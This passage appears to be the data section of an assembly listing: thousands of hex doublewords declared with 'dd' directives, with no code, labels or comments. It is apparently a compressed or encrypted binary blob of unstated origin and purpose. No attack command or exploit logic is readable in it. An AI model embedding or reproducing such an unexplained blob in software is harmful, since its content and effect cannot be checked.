		dd 84708500h, 4918F42h,	88900029h, 0BBA3039Ah, 85030C67h
		dd 6106EAA0h, 8276B826h, 1EE70291h, 939A8B12h, 58E91487h
		dd 90588288h, 0AE0D84CBh, 5FA2FD44h, 0FF213451h, 91A07E08h
		dd 82EE07C1h, 8565F4D9h, 86B43D81h, 73F6AFC8h, 0F7A20180h
		dd 31AEDB84h, 6CF3EC5Eh, 0F1009D7Fh, 0F9B59B62h, 7BBB336Ah
		dd 0C9C500E3h, 0A4355250h, 120073D0h, 0A5026081h, 3A1C5668h
		dd 3780E0FDh, 0E417C4B7h, 5507105Eh, 0DEB2A7ECh, 925C9910h
		dd 0AEE5004Dh, 3D53B373h, 8D0795EEh, 0E2412258h, 88743EC0h
		dd 0A1CA0399h, 0D28CC1EBh, 0E4DF0900h, 91D54BABh, 0A72F00B1h
		dd 4C53ADE0h, 0AE174987h, 0D10089A8h, 6E824E73h, 0C4A10FFDh
		dd 486CE472h, 0E3009820h, 58037515h, 7A92B3Fh, 0B58259EBh
		dd 2E97A06Ch, 95000578h, 7237808Ah, 834010h, 630DEB6Eh
		dd 4990AEE8h, 3913600h,	7251EA1Ah, 997F05h, 1CC00C48h
		dd 7A1BA34Ah, 460009E2h, 0DB3D60B9h, 0C18C7CFDh, 0F87FBD49h
		dd 0EF6AE03Ch, 0E36F0901h, 0FDAC297Bh, 30CC2060h, 6E604EBCh
		dd 89806CC4h, 0BF8C00EBh, 0AB1897EEh, 91B850FDh, 8F46E70Fh
		dd 0BBBC80B8h, 53325Ch,	0D80DCDA7h, 89D23EDh, 0E400B5E2h
		dd 634B8E69h, 0E8349241h, 0CD120081h, 0C30B948Bh, 0A30F9FBAh
		dd 602D085Ch, 9207D85Eh, 0FBA92654h, 0F5B0067h,	0EA0C423Eh
		dd 0BAFDD300h, 0AB910178h, 60EA95h, 6DF576DDh, 5B06293Bh
		dd 6600707Ah, 974DE080h, 10F7A0h, 85CE3FD1h, 0DA77FD96h
		dd 888E3704h, 1ABA772h,	0BCDACA6h, 0CEB20A5h, 0F5ABF800h
		dd 0F2B6FD73h, 0F0D90377h, 0A2D4708Fh, 0A0C2C0C7h, 0CA0069D8h
		dd 0D29E30A8h, 403D51h,	206C9D1Eh, 5AC31F3Eh, 63A41107h
		dd 62401099h, 0DF05E4h,	16295D4Dh, 0A2835D5h, 7E84B30Fh
		dd 0CE0002Dh, 5BACCF2h,	5DAB4A67h, 68EC2C49h, 33081201h
		dd 0E60DE7D2h, 0C0AD949Ch, 65904D50h, 8FCA7D1h,	52E09964h
		dd 1C7AF8C0h, 0E4E21F9Bh, 2823C078h, 0E6091A24h, 7AE54350h
		dd 0CCF67D00h, 0B24D6EFCh, 51702833h, 0B13E39E8h, 0BB0E2180h
		dd 806F7D8Dh, 97144C00h, 0EDD91A25h, 2CB600ABh,	5B0D7C76h
		dd 800722Bh, 794B2E5Eh,	0BF41F4h, 0A1862509h, 0D7203B80h
		dd 77E8FE0Fh, 0B6228206h, 579E043h, 0DD8E00FCh,	0AF6E3789h
		dd 0B00F283h, 3E6AAEAAh, 0B8C4A71Ch, 0E517FA9h,	35E6173Ah
		dd 5D76D420h, 0A900A5AEh, 1574DC38h, 60C3F4h, 0BF4663A7h
		dd 67835196h, 8882DF28h, 165CCF00h, 1056F41Bh, 53D6391Dh
		dd 5D8030B9h, 0D95ED518h, 96ECB11Fh, 0CA3A987Dh, 0C8C3002Bh
		dd 0F0723E11h, 39D90069h, 0A68836F9h, 26501A35h, 43222BF8h
		dd 90340019h, 7058E916h, 3800AAE1h, 5EF6FA25h, 0EABC14DAh
		dd 0A21F0ED1h, 50A17413h, 401E730Eh, 0F28423B8h, 0D34A3600h
		dd 8C706297h, 60FF00B6h, 0DB4706C4h, 0A414408Ah, 1E01B8Dh
		dd 1D4FB246h, 6EF0F549h, 5E640012h, 0DE178813h,	3403762Eh
		dd 0B6AC4E02h, 0B31000DFh, 790A5D5Ah, 2C0712F0h, 3526FA94h
		dd 4C9B10C0h, 17B43CBDh, 92C02E80h, 813660D4h, 0E502E4B0h
		dd 6F14111Bh, 130C616Dh, 7A003C32h, 0CE5A9895h,	7C1CA4ADh
		dd 71406D8Fh, 0D90C3B8Ah, 0FF1F0013h, 14B4A8F5h, 0F7F0FBEDh
		dd 0C499D700h, 9B7CDF31h, 3B4240C7h, 0A06182FDh, 8050D9B7h
		dd 0F29A278Ch, 1A5F0248h, 576D96D7h, 711DA700h,	0CBEC5Ah
		dd 807FC272h, 0A43C0191h, 3853EA02h, 600F4D44h,	2CE4D9BFh
		dd 0F267F4h, 0BBDF0BCFh, 2500F90Ah, 18EF6F54h, 8B7A5Dh
		dd 0D1563A5Ch, 51F62095h, 71049777h, 0C914C98h,	0CEBBDCC0h
		dd 3A77023h, 0C7768BEFh, 0FBA030ABh, 0B1016E5Fh, 16D97540h
		dd 88C8BF2Dh, 1D0CA67h,	146680C4h, 0E480BC1Fh, 907F4D00h
		dd 7746B0C0h, 712F24ADh, 0BC0B00A0h, 0DC7D0E9Ah, 0B72DA300h
		dd 44588C43h, 32EB2C37h, 9EB30010h, 1E4A0E63h, 432C670Eh
		dd 0EBC443CCh, 1866B136h, 94CDBF8h, 9E237D2Dh, 0C083ECA1h
		dd 54680038h, 0E0A201CBh
		dd 1C928172h, 5B40346Bh, 41E2F8C1h, 3C303229h, 0F5F3007Bh
		dd 0B7221638h, 4D0009E1h, 87713A5Fh, 14F72B5h, 0E843AA64h
		dd 0FCB135A1h, 700D1C2h, 66C9013Ch, 0BE639Ah, 1B659C1Eh
		dd 3AEC327Bh, 4794E500h, 0A425052Eh, 95040358h,	0CF198A77h
		dd 40D86CD9h, 50910FE1h, 270C85F2h, 10753B2Bh, 3F477C6h
		dd 0FAFFC35Eh, 22D8AE8Bh, 0C1096F82h, 83277Fh, 1E24D7F8h
		dd 0F05C48D3h, 0A81CDA80h, 300C55Bh, 7C1A62Dh, 0E9D60C9h
		dd 2252A580h, 850CB80h,	5807F386h, 0C1E12E20h, 0D6E413Fh
		dd 0F8202493h, 1EB0053h, 340676AFh, 5B098E31h, 574A09h
		dd 0F4A32C58h, 585E0079h, 0C4E76EE4h, 3500CE27h, 0D81EB0E5h
		dd 10D47B8h, 58E2D09Ah,	0FCF67CD4h, 2D00C062h, 0CB086D93h
		dd 30C91B8Bh, 0FBFE64DFh, 3800AF7Ch, 5F2FD20Eh,	876511h
		dd 7FC752Eh, 0EA896DEFh, 984B52Ch, 0AA8F003Dh, 0CE90F796h
		dd 0E241C1B4h, 0E787317Eh, 0F2931100h, 701F15FAh, 58F80028h
		dd 56A9D4DAh, 6804A2ABh, 0DB6C2151h, 0A6EB47h, 0DCCD6F33h
		dd 5F54230Fh, 0CA88E068h, 3C932655h, 0AF962D51h, 7FEC004Bh
		dd 4C273DC2h, 936D11C1h, 0A9FC0DE1h, 12BC0AEAh,	9D491D2h
		dd 842349F0h, 0B4E8D973h, 0EF77FF43h, 745AC72Eh, 0D8E70B80h
		dd 0EB8060Eh, 34F0B62Ah, 81EFD185h, 0E198BB79h,	0E61CC4ADh
		dd 7E0FB100h, 2F1D82B4h, 3604001Fh, 2131F676h, 0F800DE01h
		dd 6D949874h, 590CE990h, 280B8865h, 1480491Fh, 3BED0524h
		dd 5AB8640h, 31877DFFh,	3208C0F1h, 8C0078FEh, 917FF93Ch
		dd 7363E53Bh, 7CB3078Dh, 0C0C796A8h, 65CDB586h,	25BC2E00h
		dd 0F285C16Ah, 916412CFh, 772440E0h, 0E21A341Eh, 1D9E3F04h
		dd 70C0D327h, 8EDD4h, 59E067B8h, 5F3752Bh, 490B3Ah, 253FBE76h
		dd 0AE173h, 275A39A8h, 93DA9189h, 710DE000h, 5513AAF8h
		dd 0F4B900B8h, 98BA799Ch, 7B16B467h, 70095D3h, 6054D949h
		dd 7F8800BBh, 0E59CB9C1h, 0B600BDDEh, 8AABA746h, 0E8B149Dh
		dd 241CCDD4h, 9288FE20h, 5F009A71h, 0C7325863h,	7AB08DF7h
		dd 6EEC0003h, 0F897918Bh, 0BC0E8A1Bh, 4088C0C8h, 5C4C1930h
		dd 50A0EA9Eh, 9CC9FFh, 0DF0957CBh, 0D0A422E4h, 0FCB5E000h
		dd 8AF33973h, 1D3C0193h, 0E4A9979Ch, 0BA04208Bh, 921AA71Eh
		dd 0CF4FA19Eh, 4016C354h, 764EF0BEh, 0CBB70033h, 0C759A3BBh
		dd 2803471Bh, 3F732D49h, 0F472B0BDh, 0C6D091Eh,	0A4839BFEh
		dd 0D3D8C5E1h, 9000AECCh, 0FAE31834h, 9557F4Ch,	54666B35h
		dd 857C2E80h, 0B8C0DDECh, 5CD9CDA2h, 596A00EBh,	122076DCh
		dd 8E51D00Fh, 94A3C8B5h, 0BD839D09h, 0F99440E5h, 0FA3E037Ah
		dd 6A9E4C0Eh, 1FD07CA8h, 6CE94E00h, 3703FDD7h, 0AC9034h
		dd 0E3B29925h, 8471564h, 4EE46D02h, 607C6833h, 6B4030h
		dd 40AC41Fh, 9DE264C1h,	3EA0671Dh, 7B815744h, 0BFC0EAC0h
		dd 3D751D48h, 58CC4269h, 48A0AA38h, 252EA2F1h, 7BFE0605h
		dd 58C03661h, 1FA02307h, 45099AD2h, 877EF57Ch, 0DE506022h
		dd 0FBF45FD5h, 8BE97600h, 34E3B028h, 4E721F0Ah,	9BF84007h
		dd 0DF75172Ch, 33D4800h, 2264A3B1h, 5A50077h, 0E76BA655h
		dd 0BE00211Fh, 6CB45CA8h, 93487FCh, 49409691h, 47C507F5h
		dd 619EF150h, 2400984Ah, 945788h, 0A1244FE9h, 722C2244h
		dd 0C005008h, 0BF258443h, 38FC007Bh, 31C6C770h,	0AD002F18h
		dd 9BEF8BF9h, 1F5C22C8h, 0C0B6BE14h, 0FCD527A6h, 0F80F56ACh
		dd 4185C705h, 0BA822DE1h, 58F21070h, 0A1050F94h, 80692A58h
		dd 0F9645EDCh, 0D3243DFAh, 0C0120B9h, 115CA2B3h, 68C6C0F3h
		dd 1BB0927h, 0FC40C7D5h, 2FE67921h, 81B1690Bh, 5990806Fh
		dd 1CEF2Dh, 48971407h, 3116A187h, 3AA89800h, 1557AB4Ah
		dd 0BB3D0E77h, 0DEC4F6C2h, 3B94C086h, 0CFE6FFB9h, 0A97E8B12h
		dd 0BC83181Eh, 0CC2BF2F4h, 0AB741080h, 723AE083h, 0F72C0189h
		dd 80A7F1DDh, 0D398404Eh, 0CB0055A2h, 0E157C010h, 3AB1956Ch
		dd 0C58D4E7h, 1BE44202h, 0FC616AFFh, 0CEB8242Fh, 0EAC11C0h
		dd 4036556Bh, 40002869h, 10D4E6DCh, 22EEEDh, 0B44F4590h
		dd 344A7F7Ch, 13FDE0A9h, 0E34CC156h, 7D132ECh, 61940439h
		dd 0C75E65A2h, 0D51600B0h, 39C258C9h, 8839C789h, 3C38B8A7h
		dd 0E9E580B7h, 18B895FFh, 48A20087h, 85753A90h,	4604CC47h
		dd 0FBBFB5B9h, 986210C3h, 7AF13833h, 17F5008Ch,	0A8343B4Ch
		dd 0F030088Ah, 0F9606871h, 6ADA28BDh, 68C002E0h, 6BDBBA2Ch
		dd 0AE09088Ch, 0DF903FFAh, 0EC388800h, 0F8029267h, 1DE006Ah
		dd 4C836E8Bh, 0F200821Eh, 0A9A2B7E5h, 1098ED4h,	0E7A4D99Ah
		dd 40206655h, 90D0E8D4h, 0AE452409h, 7B08002Ah,	1E35C351h
		dd 18BE82h, 0DF02A592h,	732826D0h, 20A0FA83h, 0F070425h
		dd 3F6945ABh, 812B0900h, 0EA0DF8ACh, 522A2CCBh,	0B5C00ECh
		dd 20399179h, 0D99FD400h, 0EF96F9E6h, 0D040F931h, 2981E95h
		dd 8EA0620Bh, 0B8C9B0CCh, 9FF028A8h, 20C08A52h,	2084A7h
		dd 6635A24Bh, 72EA43B7h, 44BD6E17h, 5FA56802h, 4C7005h
		dd 0AFDB4A0Bh, 0A3F72620h, 60C4EA00h, 63F6BAC2h, 2AD20E80h
		dd 0E7841F3Bh, 9BFD805Bh, 0C057EC3h, 0F82BD854h, 9CC483h
		dd 8CF2A091h, 3D200A41h, 56808A00h, 0DF897E95h,	0B6EAEFh
		dd 0B5166ACCh, 94A866B8h, 26E45C00h, 0DAE674C1h, 0D0C3EDC9h
		dd 509E2C6Fh, 2610C07Bh, 0A4A85Fh, 591A88FFh, 0A230CA30h
		dd 2CCB21F9h, 0EE5100D8h, 0A0660C95h, 0CE030F2Fh, 0AE74C831h
		dd 0C492F3E2h, 240890E0h, 3BF01Fh, 0A546F70Bh, 0D230A9BEh
		dd 13140E6h, 361901E0h,	8D41E9E4h, 7906DC04h, 72B1C200h
		dd 43B6E6CEh, 776C0050h, 4404A5E3h, 7303934Dh, 67129591h
		dd 0FA7BA00Bh, 59281776h, 0A3D007DDh, 4760514Eh, 6BCFF87Fh
		dd 3AF85Ch, 4FD4F611h, 0C010D341h, 0F3C03609h, 0B0079C5h
		dd 0FC3B5370h, 0E58BB165h, 0A4D50471h, 0D1B3E643h, 0ACC4BC63h
		dd 957D66h, 45811AD7h, 363799E4h, 15003874h, 3D9B5634h
		dd 3B904E3Ch, 2FF0510h,	47D95159h, 51C0CF7Dh, 0C51D3424h
		dd 0C4004F0Fh, 9A93C8CDh, 0FFBA0059h, 9B04DB97h, 0D5980EE7h
		dd 0BD0098F6h, 416A1934h, 121BBFh, 0BC7CF828h, 66A407A5h
		dd 7193261Fh, 8187E409h, 0AD116314h, 0DEDF1E8h,	0B51D74A2h
		dd 7003FBD8h, 0A78F440Eh, 0B34BE86Ah, 37890019h, 0DB956D1Ah
		dd 3200C1DAh, 361640EFh, 0B2A494h, 54CE7F1Dh, 4A646203h
		dd 0D06FB600h, 5329C886h, 6EDC1C11h, 11ED28Dh, 2198CB4h
		dd 91FDD098h, 3FD0572Eh, 90002A26h, 0D9A6CE7Dh,	0EE5A30B7h
		dd 6A80B511h, 1EB8674Ch, 0C3014CDDh, 313A7ED9h,	7123230h
		dd 6380AF8Bh, 8940EEB1h, 97BB85B7h, 0CD87B903h,	5C968Fh
		dd 99539570h, 0CB5F8180h, 8315D707h, 2F4F9325h,	8913E033h
		dd 0F49BFD3Bh, 0A9CE0056h, 100614E0h, 1900D580h, 3655335h
		dd 0ECDE7Fh, 0E450E5BFh, 0CE7E4B96h, 5848800h, 0A7034A48h
		dd 19F16029h, 637A90A5h, 464E5501h, 0DC320DA8h,	1CA71C70h
		dd 402166D4h, 0FAC2708Ch, 6200E9F7h, 898A94EEh,	1F9F0E30h
		dd 405065BDh, 0A84EA5B7h, 480521D1h, 0FCFA7311h, 0D8C94DC3h
		dd 0FA38A28h, 0CB8240B7h, 0EA665700h, 5009427h,	0FA259519h
		dd 13BD66Eh, 149FF988h,	0D78EB6DAh, 0AA28C0A0h,	0E0550907h
		dd 97F0C64Fh, 4BCD3Ah, 74FD2AE6h, 3563DBC3h, 7A8B1500h
		dd 0AC971E5Fh
		dd 1C92B6h, 0E217D3BEh,	0F40796D7h, 0E3826300h,	0FE9DA8F8h
		dd 88D900E5h, 848AF6E9h, 0B563C7E8h, 0C065EA96h, 3EB3FA15h
		dd 66801392h, 0B4E91483h, 6200AF0Ch, 39E73CB1h,	3C283DBEh
		dd 0C0C96DE2h, 19503200h, 0C107992Ch, 0FDA7F950h, 0F3259406h
		dd 0F018FA65h, 11296472h, 0D6690081h, 9087DBAAh, 0A5443D90h
		dd 31CA1101h, 0C0047F5Bh, 480064F3h, 3E73CE8Eh,	0C3F324Dh
		dd 0FB6A8119h, 0FD02B578h, 72E5F97Dh, 4108666h,	30739080h
		dd 5F29FF71h, 0D7014D29h, 5C77A64Bh, 0B6E4DC2Bh, 0F2C21EE9h
		dd 63DD0796h, 7DADC08Fh, 1B00CEE4h, 455E70B0h, 0F1A3D4h
		dd 0D11129EEh, 164B66D7h, 0FF3DCD00h, 2B0F0DF5h, 56CE00E3h
		dd 57F29704h, 0AC020BB1h, 48448BE4h, 5DCC84ADh,	3C1C29C5h
		dd 57797BC0h, 516C7A42h, 9A80852h, 0EC7C0F98h, 1680FEA6h
		dd 0E245C05Ch, 0EE8C5000h, 2FDE57FDh, 613B0011h, 78CBF851h
		dd 0E2022054h, 468CDD9h, 0D80060E0h, 0F3F200D4h, 0DF917A02h
		dd 5A00A7DAh, 5BF67C08h, 9921D3h, 2CCD7376h, 437DA226h
		dd 0DA009090h, 0C15AF60Bh, 169D6Ah, 26F28FD4h, 56E701D0h
		dd 0BF9CD113h, 5F68AC00h, 3FBC1DA7h, 0EB928BBBh, 0F1D00CE1h
		dd 99001880h, 0FC7CA6B5h, 0B99FE4h, 0BF3C5089h,	0B068AF65h
		dd 825D9100h, 333772C5h, 756C03A7h, 1084B1C0h, 3EE0749Ah
		dd 7600EC6Eh, 0B0E1AA0h, 33C124h, 460C9C7Fh, 413BF8Eh
		dd 0E8D5DF00h, 0F3CE543Dh, 2F5A2425h, 0CF281DA0h, 2D4022E1h
		dd 41BC6DB9h, 0BFC7438h, 81EA95B2h, 0A15CE4DCh,	189AD2D0h
		dd 101E038Bh, 7000DEB8h, 0D3C5D1F2h, 504934h, 0A7D71FCFh
		dd 9EA46F36h, 7CCE3300h, 4D8CED52h, 0EFCA1C59h,	8A19C08Eh
		dd 4C63E5D1h, 0E624B400h, 0E3126882h, 3F9300AAh, 3C15AB1Fh
		dd 0C500A120h, 0E5CAD428h, 61F3A31Ah, 18FD4862h, 156300F0h
		dd 0BF283037h, 8F626B16h, 0A15D3Ah, 92F5395Bh, 0C1F38CA4h
		dd 0C43BEF49h, 1100C7E0h, 300D12C2h, 0AE6CF8h, 620F960h
		dd 0FA78E808h, 0FDC3Ah,	0AFEB2951h, 0E1E66CAh, 0CD6CB26Dh
		dd 1BE0A5AEh, 222E7807h, 0FF51041Dh, 5FC5D280h,	80C685h
		dd 7927604Eh, 5EF26140h, 8AA69F00h, 0A984710Ch,	0A8D008Bh
		dd 1E1CF0BEh, 18003D33h, 14EB8FA6h, 0A769FFh, 7D59D6A9h
		dd 3C7F5438h, 58A840h, 41505D03h, 9CCBF98Bh, 0E7DCD3Ah
		dd 0E07B9693h, 0DCD9B461h, 38D60E9Ah, 0CE60A0B3h, 93D42DE8h
		dd 6EE741Fh, 0D1E57740h, 0E0CD8F9Ah, 44F0F38h, 0D8000B3Fh
		dd 0EAA43AB8h, 993F300h, 391044C9h, 0D32E0FD4h,	2B208D59h
		dd 0A3FC778Ah, 64AFE300h, 0CAE16FFh, 0EA032C48h, 515A00B5h
		dd 309E7867h, 0DE098AECh, 0C96ACAh, 21E72520h, 0F73100ADh
		dd 5691AC33h, 23034E40h, 1EA7A15Ah, 993DA12Dh, 0D2AC8888h
		dd 0A3B20A40h, 0C29628EFh, 10F400E0h, 0B7913F16h, 197F3318h
		dd 6CC0EE04h, 4808369h,	3F3E421Bh, 4100E73Bh, 21EABCA8h
		dd 0D60E97ACh, 1593EB0Eh, 0E1A500ACh, 95B004CCh, 0E3AB0092h
		dd 4B28FA60h, 0B40E73D5h, 23AA4DA0h, 0CAA676E2h, 0D44042C9h
		dd 0A2843F1Ah, 80771DDBh, 606DFB00h, 456C81C1h,	0E0E43817h
		dd 669000F4h, 60CC31F9h, 0FF1D6AB0h, 0ED00A422h, 84153D17h
		dd 2F143896h, 2EC98600h, 0A259CAE9h, 8076F33Fh,	5D9CAA65h
		dd 5F6C77h, 7BEC2325h, 6A07C03h, 4A93B200h, 0AB8AAE62h
		dd 4EF3006Ch, 31382139h, 0EE00492Fh, 72C05F7h, 17987CFh
		dd 69EBCDEFh, 0E8A57AC4h, 0FB0BAFA1h, 80B8110Dh, 98B77F5Ah
		dd 0BAE424h, 69D6FAA4h,	9083E57Bh, 16E827ECh, 0BE00B5F8h
		dd 0B2FE2EE9h, 0F9478F3h, 5868AA09h, 625AF580h,	4C00E60Ah
		dd 1E54DBAFh, 0A1EA30h,	0A537A26Ah, 0C01A63E9h,	0F750A77Bh
		dd 0B80007A8h, 3E5CE27Fh, 4E5704h, 0A5390E59h, 0C638F8CCh
		dd 4385FCA1h, 0DAB912F8h, 9F37F160h, 0A1C05319h, 7AAF8474h
		dd 5F6E00AEh, 50033647h, 0F000DC62h, 95420157h,	171FB0h
		dd 3FFC29CFh, 0F9FD30C6h, 5861C04h, 4C0FAE9h, 0A07AF738h
		dd 0FC6B8A98h, 0A2EE0630h, 19C53FB2h, 5960040Bh, 4CE900CDh
		dd 41D43B7h, 0D2A0D185h, 0C9F780AFh, 140056F8h,	0BFEF2B7Eh
		dd 0E71061h, 0C03FB3AAh, 6D652A4h, 6C3B5500h, 0D8381C31h
		dd 0FA723BB4h, 0DBFF6600h, 0D49B9689h, 95A7800h, 0F5E0E39Fh
		dd 51CC011Bh, 85CBA7BBh, 0DBFD4D9h, 9FEEC500h, 4A017F81h
		dd 655C0043h, 0BDD48089h, 0EC009BA0h, 5FA9E252h, 3A804DFh
		dd 0BBFED363h, 1800518Dh, 253CA09Dh, 906716h, 0A17AFD53h
		dd 0AE98E015h, 4A61D901h, 0AB2E0C4Fh, 353F3083h, 0F9D0D2D8h
		dd 5D00E445h, 0FDF3F79Bh, 0C25B473Dh, 0ED8B66B0h, 0C026D4C1h
		dd 6C00BD43h, 0B5C8AED2h, 1877291h, 4A575CB3h, 0F890B9A4h
		dd 0DA00F863h, 98FA35C2h, 71682ACh, 911D5201h, 0A0EEA0A5h
		dd 0F800BF02h, 23683415h, 0BB6E5Bh, 1EAD379Eh, 0C73DEBBEh
		dd 0A19DCA00h, 0F4123EB5h, 7807601h, 77E646D2h,	302F20B1h
		dd 0F00DFBFh, 0C011EDDCh, 530D9Ah, 2BE71CC6h, 6CF6F05Dh
		dd 0FACA4703h, 0E1C73C78h, 30F85B43h, 737F8Dh, 0C663D851h
		dd 2E9D6509h, 14669E00h, 22F9B87Dh, 0EE0500B6h,	2444CDBAh
		dd 0FA0BBBE1h, 8960A7ABh, 0A4AD874Fh, 82201A50h, 2305017Ah
		dd 788EAD9Ch, 550F200Ah, 0F7C63E07h, 0F88091FAh, 0F6F413h
		dd 972AD662h, 4278FDFBh, 645ACD00h, 71F56FC7h, 7D5D0032h
		dd 12066A17h, 77002CA1h, 0F70E27EFh, 1F479FFh, 8E208197h
		dd 0E84CD6AAh, 0EC00BF80h, 0A4CE91FDh, 0B60BB7h, 0CB748E3Eh
		dd 8F84836Bh, 0C3ECF700h, 0B7FC864Fh, 1E6E7791h, 0C05D48CFh
		dd 2150E3E7h, 0BC00D420h, 8641CC76h, 0B0BAB1h, 80BDB28Bh
		dd 90ADA29Fh, 0BE01DDEAh, 0B8374E88h, 0EE82274h, 0CB1300B3h
		dd 1B558589h, 4572FEFBh, 1529B401h, 3E88C9EFh, 4B95C0CFh
		dd 0CF0C00EEh, 6EDB506Ah, 7AEE4C79h, 90FE3750h,	14404D00h
		dd 77209E6Dh, 281F001Bh, 4110933h, 0DCE30527h, 1E00023Ch
		dd 130F312Eh, 0E0182219h, 0B35052Ah, 81251A17h,	0E437D4ECh
		dd 26000515h, 0A62F1204h, 0E479E49h, 1DC23E9Dh,	8C1FCB81h
		dd 70BE18h, 0CCA2F397h,	0B8FA0950h, 0E9F4E8F0h,	6164ECD8h
		dd 2C69943h, 130BC69h, 706CD2EAh, 99D3BA95h, 1880A2FEh
		dd 385B276Dh, 5E09F8A6h, 561265h, 77AC03CDh, 0F24601ECh
		dd 1F0930C8h, 30404483h, 94384B20h, 19CE5F39h, 0F531F712h
		dd 50ECFBE0h, 0C04865h,	7B2516DBh, 739D4138h, 216745E8h
		dd 270F458h, 58DEE20Dh,	1E3BF67Dh, 56C45D00h, 0A4524B4Fh
		dd 80D9403Eh, 873EF67Eh, 0B474CEh, 0D027D8E8h, 0AB681A07h
		dd 23E40900h, 0F108C4D3h, 6B750Eh, 0A2D7310h, 9FBC8002h
		dd 4628BB05h, 0B8C0F8E5h, 0BA8DADh, 6524FDD2h, 7A70D05Fh
		dd 0DBBDAB01h, 3513C368h, 0D9FFCh, 0C67CA054h, 0D91B966Ch
		dd 98901F00h, 0F77880EDh, 0BA840E04h, 0BE80D024h, 18A8196Ah
		dd 0AD25448h, 849DF455h, 0A2992880h, 9F9388h, 9A91B6A0h
		dd 0A7948BA5h, 838EA83Fh, 5F8AACA3h, 0DA3C75Eh,	0FA1E082h
		dd 29AA008Ch, 0DEB2E417h, 0D87E9F1Eh, 0FE50727Eh, 871211A1h
		dd 385E1F33h, 0AC446E40h, 7B3D3203h, 0A46D01E3h, 0C6A577E8h
		dd 0C946D094h, 0AE707400h, 0FDA0DA01h, 0B860081h, 0F080C8E6h
		dd 0B358BA9Eh, 2FB00F63h, 0F158C0A0h, 169AAE2h,	52D3BFFh
		dd 0C0FA49E4h, 2C0085A6h
		dd 686136F9h, 67FF14h, 1E0C2FB1h, 0E3C83128h, 7AA138h
		dd 0D6A9E404h, 0B981ADh, 8A343BA6h, 19DC12F9h, 0F20C9A17h
		dd 297A8800h, 0FEED2A14h, 10D7007Bh, 252D2082h,	5FE4D18Eh
		dd 5BBE3200h, 0D452D259h, 0FAA2F8B0h, 0FDA500B3h, 7AE44080h
		dd 0D8005DC1h, 8C9EC3E3h, 18505163h, 119A202Fh,	2A00E973h
		dd 0FBE378Bh, 467601h, 7717FB7Fh, 58C0D04Fh, 24D57900h
		dd 5393346Fh, 22D60061h, 0BE138FF4h, 0C900749Dh, 375D72D5h
		dd 48A073EFh, 9512739Ah, 0F47C4E30h, 62BB75C3h,	8D511CB0h
		dd 5CE66300h, 0B410A54Ch, 796812B7h, 0A7A8409Fh, 0CC6469CDh
		dd 6F20B304h, 92C03FF3h, 169E13h, 616DEBBBh, 0F5E98109h
		dd 0ECD78900h, 0E356B691h, 6AD830DCh, 4595860h,	3AA4FA00h
		dd 4CB5EB17h, 0EAFD0B21h, 568C45D9h, 0D5001F29h, 0ED28E00Dh
		dd 0F65EA3h, 0B673B7DBh, 254348D2h, 0E2708A00h,	0DAB4AAECh
		dd 47BE0053h, 0A7CB3549h, 0D200088Bh, 241884A8h, 18748F12h
		dd 50C6B704h, 0A901F10Ch, 8862A87h, 94303ABBh, 37B00AAh
		dd 7F8DB12Bh, 0FF00CCC9h, 82945CB2h, 0F22A21Fh,	3FA1A5DAh
		dd 635DB180h, 0BE00D6DFh, 96D32D50h, 0C5BA71h, 40AC6D78h
		dd 55CB7BBh, 1A085915h,	954301B8h, 8257B848h, 9256A450h
		dd 1D6BF4E1h, 1DBFD060h, 95C406Dh, 0C540282h, 9F22B116h
		dd 97057B13h, 0D447A7BFh, 0EF903465h, 0FAD45669h, 0C6680018h
		dd 0E7B5F3F8h, 4901922h, 0B4418926h, 2D1F80B8h,	0DF1C872Ch
		dd 0EC840764h, 31BD58F2h, 0DCB168AAh, 0BB0EC088h, 20E4A709h
		dd 49C5EEB9h, 95D60C89h, 5A44B676h, 384CA970h, 0BCF0281Dh
		dd 0E678741Eh, 12329D00h, 3464BFh, 6FC07079h, 49B24A8Ah
		dd 389B4848h, 0BC5F8032h, 70616C16h, 8F4005Dh, 0FC2B534Dh
		dd 0C761E3F2h, 6D778C98h, 1FE6B980h, 0D1D2F2Ch,	0F9433817h
		dd 7FFB6000h, 3E51FCh, 81988F5Eh, 0A2FA484Dh, 5A075572h
		dd 0C2FF6736h, 161EC0B3h, 40033B7Ah, 0D65D2C70h, 1B00F410h
		dd 0CFF8D21Ah, 13E11950h, 1557F5h, 0F7BA371Bh, 0FB1D453Ah
		dd 0EA00B8B1h, 4C8CA3CFh, 504B01B4h, 0BCFACDCBh, 31E1434Eh
		dd 7A19D7F8h, 82981B48h, 60E7AEF9h, 76CCC5C1h, 45E490h
		dd 0F56BC01Eh, 227CA14Bh, 0C95471E5h, 1C73F45Fh, 1BFFA3Ch
		dd 55D6966Bh, 0F8EFFC2Eh, 0B4FE9h, 0AD3D2966h, 0A63C2319h
		dd 4C163507h, 2407A27h,	71F36AB1h, 179D00EAh, 147EA0B8h
		dd 0E80046B6h, 322CC496h, 1FCC470Ch, 0FA1B057Bh, 0A65BF487h
		dd 0F9244038h, 6A50624Fh, 0E848B2BCh, 717602F0h, 0E0576EBFh
		dd 18334F9Dh, 0BECCDFEBh, 683F99D5h, 6C12FB6Ah,	4C00E7B8h
		dd 9850B9F8h, 10E8621Ch, 73E1786Ah, 0ABA0E8EEh,	9B8E9E04h
		dd 6180547Eh, 5C4BDEh, 0EFF80D2Ch, 5B53DB09h, 4E67D0E7h
		dd 77D11E03h, 0A49DCB62h, 23A80891h, 3833E820h,	0D91E0B81h
		dd 0A5FF4006h, 34670E2Ch, 0FADC9A3Ah, 8651B00h,	58327133h
		dd 0B1DD0096h, 0AFD3315Eh, 0A0003F83h, 85271916h, 48451E08h
		dd 73ADAAh, 0A66A7425h,	8AC66C7Ch, 0A99BF200h, 0AF942B8Fh
		dd 91F907D9h, 9A0F63h, 7E902328h, 404C0B1Ch, 0E324499Ch
		dd 0F4543303h, 6E9900Eh, 9D960067h, 9FC510E7h, 303CE608h
		dd 5DDF0082h, 6F4407F0h, 34A701F5h, 62DC3717h, 0DCA5C14Dh
		dd 84002618h, 0CF7A0764h, 559DC3h, 0E2BBE71Dh, 6CB2DD80h
		dd 0B0517C00h, 0A41EB3F4h, 0FF43037Dh, 0C26F9EB6h, 0DCA78FE0h
		dd 0AD124500h, 0D4863D9h, 34590160h, 9D1115D3h,	418F7095h
		dd 62431700h, 975F86Ch,	70880038h, 1A106850h, 0BC0EE525h
		dd 0C03D07h, 90D62D72h,	18040EECh, 3E005261h, 9B642E93h
		dd 7D55E900h, 0E55BD3B4h, 0C1E47Fh, 0D79AAE27h,	44D2E335h
		dd 144B8F24h, 0EC10410Ah, 8F74E28Eh, 1182CBC8h,	15D1AC34h
